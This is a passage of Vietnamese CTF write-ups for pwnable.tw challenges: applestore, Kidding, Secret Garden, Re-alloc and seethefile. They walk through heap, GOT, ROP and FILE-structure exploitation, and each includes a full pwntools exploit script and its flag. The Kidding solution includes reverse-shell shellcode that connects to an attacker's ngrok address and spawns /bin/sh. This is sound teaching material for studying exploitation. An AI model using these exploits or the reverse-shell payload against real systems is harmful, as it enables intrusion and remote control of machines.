  • mô phỏng qua bảng sau
func checkout() stack delete() func
ebp-0x30 v3 v3 = atoi(v6);
ebp-0x22 v6 my_read(v6, 21);
asprintf(v2, "%s", "iPhone 8"); product.name ebp-0x20 // can ow
v3 = 1; product.price ebp-0x1c // can ow
insert((int)v2); product.fd ebp-0x18 // can ow
insert((int)v2); product.bk ebp-0x14 // can ow

get through checkout()

  • muốn số tiền đúng với 7174, ta làm phép toán đơn giản để loại trừ
4 loại giá : 199, 299, 399, 499 (đuôi 9)
7174 có đuôi 4 ---> đuôi 9 phải nhân với 6

# 499*n ≤ 7174 ---> n = 6 (2994) 👍 ; n = 16 (7984) 👎
7174 - 2994 = 4180 (không thoả)

# 399*n ≤ 7174 ---> n = 6 (2394) 👍 ; n = 16 (6384) 👍
7174 - 2394 = 4780 (không thoả)
7174 - 6384 = 790 (không thoả)

# 299*n ≤ 7174 ---> n = 6 (1794) 👍 ; n = 16 (4784) 👍
7174 - 1794 = 5380 , 5380 (không thoả)

# 199*n ≤ 7174 ---> n = 6 (1194) 👍 ; n = 16 (3184) 👍 ; n = 26 (5174) 👍
7174 - 1194 = 5980 ; 5980 / 20 = 299 (thoả)
  • ta sẽ thêm vào giỏ hàng 20 cái 'iPhone 6 Plus' giá 299💲 và 6 cái 'iPhone 6' giá 199💲
    ==> tổng tiền hàng = 7174
    ===> có 'iPhone 8' giá 1💲

leak libc

  • như ta thấy trong hàm delete() có chức năng in ra ptr (v2)
    printf("Remove %d:%s from your shopping cart.\n", v1, *(const char **)v2);
  • ta sẽ ow lên v2 thành puts@got

có 2 byte sẽ nằm trong con số khi chuyển đổi qua atoi()
sau đó nó sẽ ghi đè lên ptr(v2)

  • đến đây ta sẽ leak được libc

system + '||sh'

  • tương tự khi khi đè @got của 1 hàm thành system để khi thực thi hàm đó sẽ gọi system lên với tham số mình truyền vào
  • vậy thì ở đây chọn atoi@got là hợp lí nhất (khi trở về handler()atoi, lại có thể truyền '||sh' vào)
  • nhưng ở đây để ghi đè như thế, ta cần xử lí một chút ở đoạn này

ở đây không còn nghĩa xoá nữa
do ta có thể control được stack
đoạn code trên là thay đổi kiểu BK->fd = FD và ngược lại

  • ta sẽ xem khi return về handler()

v1 : ebp-0x22

  • lúc này khi return về, nó sẽ lấy tham số ở ebp rồi trừ 0x22 và tại đó sẽ ghi đè data
  • ta sẽ hô biến tại ebp-0x22 là atoi@got sau đó data truyền vào là libc.sym['system']
  • kế system sẽ là '||sh'

exchange ebp-0x22 & atoi@got

  • đồng nghĩa trao đổi $ebp thành atoi@got+0x22
  • ta sẽ dựa vào chức năng của delete() để đổi 2 giá trị trên
  • ngoài ra do còn leave ; ret nên ta phải lui $ebp thêm 0x8
checkout() stack payload delete()
ebp-0x22 'số_2_chữ_số' v6
product.name ebp-0x20 0x0
product.price ebp-0x1c 0x0
product.fd ebp-0x18 atoi@got + 0x22
product.bk ebp-0x14 ebp - 0x8
  • ô!!!
  • thế thì ta phải leak cả stack
  • tận dụng sau khi leak libc thành công, ta sẽ leak địa chỉ __environ của libc
  • cách leak tương tự như leak libc
  • sau khi leak xong, ta sẽ tính offset đến $ebp trong hàm delete()

get flag

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./applestore_patched', checksec=False)
libc = ELF('./libc_32.so.6',checksec=False)
ld = ELF('./ld-2.23.so',checksec=False)

def GDB():
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                # b*create+79
                # b*insert+52
                b*checkout+98
                b*delete+71
                b*delete+101
                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('chall.pwnable.tw', 10104)
else:
        p = process(exe.path)

GDB()

def add(idx):
        sla(b'> ',b'2')
        sla(b'> ',idx)

def delete(data):
        sla(b'> ',b'3')
        sla(b'> ',data)

def checkout():
        sla(b'> ',b'5')
        sla(b'> ',b'y')

# myCart = 0x804b068

for i in range(20):
        add(b'2')

for i in range(6):
        add(b'1')

checkout()

payload = b'27' + p32(exe.got['puts'])
delete(payload)

p.recvuntil(b'27:')
libc_leak = u32(p.recv(4))
libc.address = libc_leak - libc.sym['puts']
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))

payload = b'27' + p32(libc.sym['__environ'])
delete(payload)

p.recvuntil(b'27:')
stack_leak = u32(p.recv(4))
need = stack_leak - 0x104 - 0x8
info("stack leak: " + hex(stack_leak))
info("stack need: " + hex(need))


payload = b'27' + p32(0)*2 + p32(exe.got['atoi']+0x22) + p32(need)
delete(payload)

payload = p32(libc.sym['system']) + b'||sh'
sla(b'> ',payload)

p.interactive()
#FLAG{I_th1nk_th4t_you_c4n_jB_1n_1ph0n3_8}

FLAG{I_th1nk_th4t_you_c4n_jB_1n_1ph0n3_8}


Kidding [400 pts]

  • description

Can you get a shell for me?

Just kidding, it's unexploitable.

nc chall.pwnable.tw 10303

kidding

  • basic file check

  • check ida

main()
vỏn vẹn nhiu đó hoi
read 100 byte sau đó đóng hết stdin, stdout và stderr

stack prot

  • thực ra ngoài hàm main() thì có 1 số hàm đáng lưu tâm

_dl_make_stack_executable()

  • nhìn qua thì có hàm mprotect() để set quyền
  • ta cần _stack_prot mang giá trị 7 để hàm mprotect() đó cho ta quyền execution
  • để qua hàm if check rồi tới mprotect(), ta cần $eax (a1) là _libc_stack_end
  • cuối cùng ta sẽ thực thi shellcode
  • đầu tiên cần đưa 7 vào _stack_prot
  • tìm các gadget:

mov_eax_7 = 0x0808eff0
gắn 7 cho $eax

xor = 0x080e00e0
xor [$ebp+0xe] với $al

  • sau đó gọi _libc_stack_end để set _stack_prot rồi gọi 1 thanh ghi thực thi shellcode

call_esp = 0x080c99b0

shellcode

pop_eax = 0x080b8536
pop_ebx = 0x080481c9
pop_ecx = 0x080583c9
pop_edx = 0x0806ec8b
syscall = 0x080626cd
rw_section = 0x080e9a00
mov_eax_7 = 0x0808eff0
xor = 0x080e00e0
stack = exe.sym['_dl_make_stack_executable']
call_esp = 0x080c99b0

payload = b'ABCD'
payload += b'EFGH'
payload += p32(exe.sym['__stack_prot']-0xe) #ebp
payload += p32(mov_eax_7)
payload += p32(xor)
payload += p32(pop_eax) + p32(exe.sym['__libc_stack_end'])
payload += p32(stack)
payload += p32(call_esp) #execute shellcode

reopen socket

  • vì chall đã close hết các fd nên dù ta viết shell execve thì command cũng chả có tác dụng gì
  • nên ta sẽ tạo socket mới để connect tới ip mới
  • có 2 loại là server và client:
    • client thì chỉ thực hiện một lệnh duy nhất sau khi mở socket là connect
    • còn đối với tạo server thì có nhiều bước

    gồm bind, set port và listen là mở port lên để đợi connect

  • cho dễ thì ta sẽ chọn client
  • ta sẽ public 1 ip nhằm mục đích điều hướng shell trên server về shell trên local

revere shell

  • ta cần tạo 1 public IP
  • nên sẽ sử dụng tool ngrok trên Linux

phải cài qua link https://ngrok.com/ (sign_up các kiểu)

  • tạo 1 kết nối: ngrok tcp 8080
  • dựa vào port có được từ tạo public IP trên sẽ viết shellcode connect

addr = IP + port + AF_INET
vd 192.168.0.224 -> đổi sang hex từng số, đảo byte
port 8080 -> đổi sang hex, đảo byte
AF_INET = 0x0002 (2 byte)
phải đảo byte vì kiểu dữ liệu little-edian

shellcode = asm('''
        mov eax, 0x167
        xor ebx, ebx
        add bl, 0x2
        xor ecx, ecx
        add cl, 0x1
        
        ;//socket(2,1,0)
        loop:
        xor edx, edx
        int 0x80

        ;//connect(sockfd,addr,len)
        mov bl, al
        push edx
        push 0xd6098b12
        push 0x184b0002
        mov ecx, esp
        mov dl, 0x10
        mov eax, 0x16a
        int 0x80

        push 0x0068732f
        push 0x6e69622f
        mov ebx, esp
        mov al, 0xb
        xor ecx, ecx
        jmp loop
''')

get flag

  • tới đây hơi ảo xíu, ta cần điều hướng stdout sang socketfd

socketfd có thể thấy khi DEBUG trên local (chạy shellcode)

  • và đọc flag cần qua 1 file binary

đọc source C mới hiểu cách đọc flag (dễ lắm)

  • script:
#!/usr/bin/python3

from pwn import *
import struct

context.binary = exe = ELF('./kidding',checksec=False)
context.arch = 'i386'

p = remote('chall.pwnable.tw',10303)

# p = process(exe.path)

# gdb.attach(p,gdbscript='''
# 	b*main+14
# 	b*main+19
# 	b*main+58
# 	c
# 	''')
# input()

pop_eax = 0x080b8536
pop_ebx = 0x080481c9
pop_ecx = 0x080583c9
pop_edx = 0x0806ec8b
syscall = 0x080626cd
rw_section = 0x080e9a00
mov_eax_7 = 0x0808eff0
xor = 0x080e00e0
stack = exe.sym['_dl_make_stack_executable']
call_esp = 0x080c99b0

payload = b'ABCD'
payload += b'EFGH'
payload += p32(exe.sym['__stack_prot']-0xe)
payload += p32(mov_eax_7)
payload += p32(xor)
payload += p32(pop_eax) + p32(exe.sym['__libc_stack_end'])
payload += p32(stack)
payload += p32(call_esp)

shellcode = asm('''
        mov eax, 0x167
        xor ebx, ebx
        add bl, 0x2
        xor ecx, ecx
        add cl, 0x1
        
        ;//socket(2,1,0)
        loop:
        xor edx, edx
        int 0x80

        ;//connect(sockfd,addr,len)
        mov bl, al
        push edx
        push 0xd6098b12
        push 0x184b0002
        mov ecx, esp
        mov dl, 0x10
        mov eax, 0x16a
        int 0x80

        push 0x0068732f
        push 0x6e69622f
        mov ebx, esp
        mov al, 0xb
        xor ecx, ecx
        jmp loop

''')
p.send(payload+shellcode)

p.interactive()
#FLAG{Ar3_y0u_k1dd1ng_m3}

FLAG{Ar3_y0u_k1dd1ng_m3}


Secret Garden [350 pts]

  • description:

Find the flag in the garden.

nc chall.pwnable.tw 10203

secretgarden

libc.so

  • basic file check

image

  • check ida (renamed)

image

main()

image

menu()

image

add()

image

show()

image

delete()

image

clear()

analyse

  • nhìn sơ qua chức năng của program:
    • Raise a flower:
      • malloc(0x28) -> prompt flower->size and flower->name
      • malloc(size) -> prompt flower->color
      • set flower->is_used = 1
      • limit 100 flowers
    • Visit the garden:
      • display flower->color
      • only display if flower->is_used equal
    • Remove a flower from the garden:
      • free flower->name
      • set flower->is_used = 0
      • not set ptr = NULL -> DBF vuln
    • Clean the garden:
      • iterates free all flowers
    • Leave the garden:
      • exit the program
  • từ IDA, có thể thấy struct của 1 flower như sau:
struct flower {
  long is_used;   
  char *name;     
  char color[24]; 
}

leak libc

  • ở option1, ta có thể chọn size thoải mái (chỉ giới hạn số lượng)
  • cách leak libc thì đơn giản thôi
  • tạo chunk size vừa đủ, xoá chunk (vào ubin) rồi tạo lại chunk (size hợp lí) ghi nối chuỗi với main_area rồi in ra

nối chuỗi vs bk_pointer

add(0x400, b'A'*4, b'A'*4) #0
add(0x100, b'C'*4, b'C'*4) #1
add(0x400, b'B'*4, b'B'*4) #2
add(0x400, b'd'*4, b'D'*4) #3

delete(2) #idx2

add(0x200,b'A'*8, b'A'*8) #4

show()

p.recvuntil(b'[4] :')
p.recvuntil(b'A'*8)
libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - 0x3c3b78
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))

malloc_hook + one_gadget

  • tới bước này ta chỉ cần trigger DBF trên fastbin với idx là 0x70
  • vì ở __malloc_hook - 35 là 1 fake chunk có size 0x7f (làm tròn xuống 0x70)
  • sau đó ow thành one_gadget
  • để có shell ta cần trigger lỗi Aborted là xong

trigger bằng cách DBF

image

get flag

image

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./secretgarden_patched', checksec=False)
libc = ELF('./libc_64.so.6', checksec=False)
ld = ELF('./ld-2.23.so', checksec=False)

def GDB(): #turn on NOALSR
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                # b*0x555555400da1
                # b*0x555555400fe0
                # b*0x555555400e74
                # c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('chall.pwnable.tw',10203)
else:
        p = process(exe.path)

# GDB()

def add(size,name,color):
        sla(b'choice : ',b'1')
        sla(b'name :',str(size))
        sa(b'flower :',name)
        sla(b'flower :',color)

def show():
        sla(b'choice : ',b'2')

def delete(idx):
        sla(b'choice : ',b'3')
        sla(b'garden:',str(idx))

def clean():
        sla(b'choice : ',b'4')

### leak libc
add(0x400, b'A'*4, b'A'*4) #0
add(0x100, b'C'*4, b'C'*4) #1
add(0x400, b'B'*4, b'B'*4) #2
add(0x400, b'd'*4, b'D'*4) #3

delete(2) #idx2

add(0x200,b'A'*8, b'A'*8) #4

show()

p.recvuntil(b'[4] :')
p.recvuntil(b'A'*8)
libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - 0x3c3b78
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))

fastbin_size = 0x60

add(fastbin_size,b'aaaa',b'aaaa') #5
add(fastbin_size,b'bbbb',b'bbbb') #6

delete(5) #idx5
delete(6) #idx6
delete(5) #idx5 5->6->5 

gadget = [0x45216,0x4526a,0xef6c4,0xf0567]
one_gadget = libc.address + gadget[2]
malloc_hook = libc.sym['__malloc_hook'] - 35

add(fastbin_size,p64(malloc_hook),b'cccc') #7
#6->5->hook
add(fastbin_size,b'dddd',b'dddd') #junk6 #8
#5->hook
add(fastbin_size,b'eeee',b'eeee') #junk5 #9

payload = b'A'*19 + p64(one_gadget)

add(fastbin_size,payload,b'cccc') #10

delete(9)
delete(9) #trigger aborted

p.interactive()
#FLAG{FastBiN_C0rruption_t0_BUrN_7H3_G4rd3n}

FLAG{FastBiN_C0rruption_t0_BUrN_7H3_G4rd3n}


Re-alloc [200 pts]

  • description

I want to realloc my life :)

nc chall.pwnable.tw 10106

re-alloc

libc.so

  • basic file check

image

  • check ida

image

main()

image

menu()

image

allocate()

image

reallocate()

image

rfree()

analyse

  • case1: tạo chunk ptr (tối đa 2 chunks)
  • case2: sửa chunk ptr
  • case3: xoá chunk ptr
  • case4: thoát chương trình
  • BUG nằm ở realloc, nếu size = 0 thì realloc tương tự free
  • ở case3 free bình thường bao gồm xoá con trỏ ptr, nhưng chỉ cần free mà không xoá sẽ có UAF vuln

leak libc

  • vấn đề tiếp theo là là leak libc
  • hiện không thể BOF như bình thường, cũng như chả có chức năng nào chương trình in ra content của chunk cả
  • ta sẽ tấn công GOT thôi
  • dựa vào UAF, ta sẽ duplicate tcache, ghi printf@PLT vào atoll@GOT

libc ver 2.29 -> còn security check ở bk_pointer
bypass DBF bằng cách ow NULL

  • vậy chỉ cần mỗi lần thực hiện atoll, ta chỉ cần truyền vào FMTSTR là có thể leak thoải mái

image

libc leak ở %23

one_gadget

  • và cũng từ lỗi FMTSTR đó mà ta sẽ ow exit@GOT thành one_gadget
  • ta cần phải leak stack rồi từ đó FMTSTR ow thôi

image

get flag

image

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./re-alloc_patched',checksec=False)
libc = ELF('./libc-9bb401974abeef59efcdd0ae35c5fc0ce63d3e7b.so',checksec=False)
ld = ELF('./ld-2.29.so',checksec=False)

def GDB():
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                b*menu+119
                b*read_long+62
                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('chall.pwnable.tw',10106)
else:
        p = process(exe.path)

def add(idx, size, data):
    sla(b'Your choice: ',b'1')
    sla(b'Index:',str(idx))
    sla(b'Size:',str(size))
    sa(b'Data:',data)

def edit(idx, size, data):
    sla(b'Your choice: ',b'2')
    sla(b'Index:',str(idx))
    sla(b'Size:',str(size))
    if size == 0:
        return
    sa(b'Data:',data)

def delete(idx):
    sla(b'Your choice: ',b'3')
    sla(b'Index:',str(idx))

def fmt_leak(idx):
	sla(b'Your choice: ',b'1')
	sa(b'Index:',f'%{idx}$p')
	return p.recv(14)

def fmt_write(idx, value):
	sla(b'Your choice: ',b'1')
	sa(b'Index:',f'%{value}c%{idx}$hhn'.ljust(16))

add(0,0x18,b'aaaa')
edit(0,0,b'') #free
edit(0,0x18,b'\0'*0x10) #modify bk_pointer
delete(0) #DBF

add(0,0x18,p64(exe.got['atoll'])) #junk->got@atoll
add(1,0x18,b'aaaa') #got@atoll
edit(1,0x28,b'AAAA') #fake_size 0x30
delete(1) 
add(1,0x18,p64(exe.plt['printf'])) #realloc(NULL,0x18)

libc_leak = int(fmt_leak(23),16)
libc.address = libc_leak - 0x26b6b
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))

stack_leak = int(fmt_leak(18),16)
info("stack leak: " + hex(stack_leak))

GDB()

for i in range(3):
    fmt_write(12, (stack_leak & 0xff) + i)
    fmt_write(18, p64(exe.got['_exit'])[i])

gadget = [0xe21ce,0xe21d1,0xe21d4,0xe237f,0xe2383,0x106ef8]
one_gadget = libc.address + gadget[4]

fmt_write(12, stack_leak & 0xff) #turn back

for i in range(6):
    fmt_write(18, (exe.got['_exit'] & 0xff) + i)
    fmt_write(22, p64(one_gadget)[i])

p.sendline(b'4') #exit

p.interactive()
#FLAG{r3all0c_the_memory_r3all0c_the_sh3ll}

FLAG{r3all0c_the_memory_r3all0c_the_sh3ll}


seethefile [250 pts]

  • description:

Can you see anything?

Get a shell for me.

nc chall.pwnable.tw 10200

seethefile

libc.so

  • basic file check

image

  • check ida

image

main()

image

openfile()
bị cấm mở file "flag"

image

readfile()
đọc 1 phần tử có 399 byte từ file mở hiện tại
lưu vào magicbuf

image

writefile()
nếu data in ra có kí tự 'flag" hay "FLAG" thì exit

image

closefile()

analyse

  • case1 -> case4 như trên
  • case5 là thoát, nhưng trước đó có input thêm

image

  • note lại 1 số địa chỉ cần thiết

image

magicbuf = 0x804b0c0

image

name = 0x804b260
fp = 0x804b280

/proc/self/maps

  • không thể đọc flag, đồng thời ở description yêu cầu lấy shell
  • phải leak libc rồi system thôi
  • trong linux, /proc/self/maps là một tệp ảo cung cấp thông tin về memory map của tiến trình hiện tại (giống vmmap trên gdb)
  • ta sẽ readfile() 2 lần và writefile() ra

do ta cần đọc 2 phần tử
nếu chỉ 1 thì in ra chỉ có vùng memory của exe

image
đọc lần 2 sẽ đi vào libc
image

_IO_FILE attack

  • như đã nói, case5 có input lần cuối rồi mới exit

image

có BOF từ scanf %s

  • khả năng tràn xuống fp khả thi

image

  • vậy ta sẽ attack _IO_FILE struct khi nhập xong name, có 1 bước tác động đến fpfclose(fp)

image

không phải _IO_FILE_plus nên thay đổi vtable không có nghĩa
chỉ còn là _IO_FILE thôi
source

int
attribute_compat_text_section
_IO_old_fclose (_IO_FILE *fp)
{
  int status;

  CHECK_FILE(fp, EOF);

  /* We desperately try to help programs which are using streams in a
     strange way and mix old and new functions.  Detect new streams
     here.  */
  if (fp->_vtable_offset == 0)
    return _IO_new_fclose (fp);

  /* First unlink the stream.  */
  if (fp->_IO_file_flags & _IO_IS_FILEBUF)
    _IO_un_link ((struct _IO_FILE_plus *) fp);

  _IO_acquire_lock (fp);
  if (fp->_IO_file_flags & _IO_IS_FILEBUF)
    status = _IO_old_file_close_it (fp);
  else
    status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
  _IO_release_lock (fp);
  _IO_FINISH (fp);
  if (_IO_have_backup (fp))
    _IO_free_backup_area (fp);
  if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
    {
      fp->_IO_file_flags = 0;
      free(fp);
    }

  return status;
}
  • coi source trên, ta cần phải thoả mãn bit _IO_IS_FILEBUF là chưa được set

cần bypass qua _IO_un_link
define

  • bit đầu là 0x2000 -> bitwise NOT là 0xDFFF

flags = 0xFFFFDFFF

  • sau cái flags sẽ truyền b';/bin/sh\0'

thêm ';' vì khi vào system file 32
nó sẽ sub esp, 0xc rồi mov eax,[esp + 0x10]

image
vị trí đó là flags, lệnh cmd flags đó không có nghĩa

  • tiếp theo khi DEBUG, nhảy vào hàm fclose rồi thì thấy nó sẽ nhảy vào 1 địa chỉ tăng thêm 8

image

  • từ đó tăng giảm padding của payload rồi ngay địa chỉ đó khi nhảy là hàm system

get flag

  • sau khi có shell ở server, ta phải thêm 1 bước đọc source lấy flag (cũng không khó)

phải kiểm tra bằng ls -al trong thư mục /home mới biết =))

image

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./seethefile_patched', checksec=False)
libc = ELF('./libc_32.so.6',checksec=False)
ld = ELF('./ld-2.23.so',checksec=False)

def GDB():
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                b*main+169
                b*main+216
                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('chall.pwnable.tw', 10200)
else:
        p = process(exe.path)

def openfile(path):
        sla(b'choice :',b'1')
        sla(b'see :',path)

def readfile():
        sla(b'choice :',b'2')

def writefile():
        sla(b'choice :',b'3')

def closefile():
        sla(b'choice :',b'4')

def exit(name):
        sla(b'choice :',b'5')
        sla(b'name :',name)

name = 0x804b260
fp = 0x804b280

openfile(b'/proc/self/maps')
readfile()
readfile()

writefile()
# p.recvuntil(b'[heap]\n') #local
p.recvline() #server
libc.address = int(b'0x' + p.recvuntil(b'-',drop=True),16)
info("libc base: " + hex(libc.address))
system = libc.sym['system']

GDB()

payload = b'a'*0x20 #padding
payload += p32(fp+4) #fp
payload += p32(0xffffdfff) #fp+4 ->flags
payload += b';/bin/sh\0' + b'a'*3 #fp+16
payload += b'a'*60 
payload += p32(fp+4+12+60)
payload += p32(system)           

exit(payload)

# p.recvuntil(b'time\n')
# p.sendline(b'./home/seethefile/get_flag')
# p.recv()
# p.sendline(b'Give me the flag')

p.interactive()
#FLAG{F1l3_Str34m_is_4w3s0m3}

FLAG{F1l3_Str34m_is_4w3s0m3}